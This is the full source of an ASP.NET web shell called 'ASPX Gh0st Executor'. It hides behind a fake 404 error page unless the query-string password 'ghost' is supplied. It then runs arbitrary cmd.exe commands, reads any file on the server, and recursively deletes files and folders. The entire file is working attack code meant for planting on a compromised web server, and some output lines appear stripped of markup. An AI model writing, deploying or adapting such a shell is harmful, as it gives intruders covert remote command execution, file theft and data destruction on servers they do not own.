%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
// yourwebsite.com/cmd.aspx?exec=ghost
string requiredPassword = "ghost";
string userPassword = Request.QueryString["exec"];
if (string.IsNullOrEmpty(userPassword) || userPassword != requiredPassword)
{
Response.Write(@"
The resource cannot be found.
Server Error in '/' Application.
The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly.
Requested URL: " + Request.Url.AbsolutePath + @"
");
Response.End();
}
%>
ASPX Gh0st Executor
ASPX Gh0st Executor
<%
string workingDir = Server.MapPath("~/");
if (Session["CurrentDirectory"] != null)
{
workingDir = Session["CurrentDirectory"].ToString();
}
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
try
{
if (command.ToLower().StartsWith("dir "))
{
string newDir = command.Substring(4).Trim('"');
if (Directory.Exists(newDir))
{
workingDir = newDir;
Session["CurrentDirectory"] = workingDir;
}
}
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + command;
psi.WorkingDirectory = workingDir;
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
Process process = new Process();
process.StartInfo = psi;
process.Start();
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
process.WaitForExit();
if (!string.IsNullOrEmpty(error))
{
Response.Write("Error: " + Server.HtmlEncode(error) + "
");
}
else
{
Response.Write("Command Executed Successfully:
");
}
Response.Write("");
}
catch (Exception ex)
{
Response.Write("Error: " + Server.HtmlEncode(ex.Message) + "
");
}
}
%>
Delete File / Folder
<%
if (Request.HttpMethod == "POST" && !string.IsNullOrEmpty(Request.Form["deleteName"]))
{
string nameToDelete = Request.Form["deleteName"];
string targetPath = Path.Combine(workingDir, nameToDelete);
try
{
if (Directory.Exists(targetPath))
{
Directory.Delete(targetPath, true);
Response.Write("Folder deleted successfully
");
}
else if (File.Exists(targetPath))
{
File.Delete(targetPath);
Response.Write("File deleted successfully
");
}
else
{
Response.Write("File/Folder not found
");
}
}
catch (Exception ex)
{
Response.Write("Error deleting: " + Server.HtmlEncode(ex.Message) + "
");
}
}
%>
Read File
<%
if (!string.IsNullOrEmpty(Request.QueryString["readFile"]))
{
string fileToRead = Request.QueryString["readFile"];
string filePath = Path.Combine(workingDir, fileToRead);
if (File.Exists(filePath))
{
try
{
string content = File.ReadAllText(filePath);
Response.Write("File Content:
");
Response.Write("");
}
catch (UnauthorizedAccessException)
{
Response.Write("Permission Denied
");
}
catch (Exception ex)
{
Response.Write("Error reading file
");
}
}
else
{
Response.Write("File not found
");
}
}
%>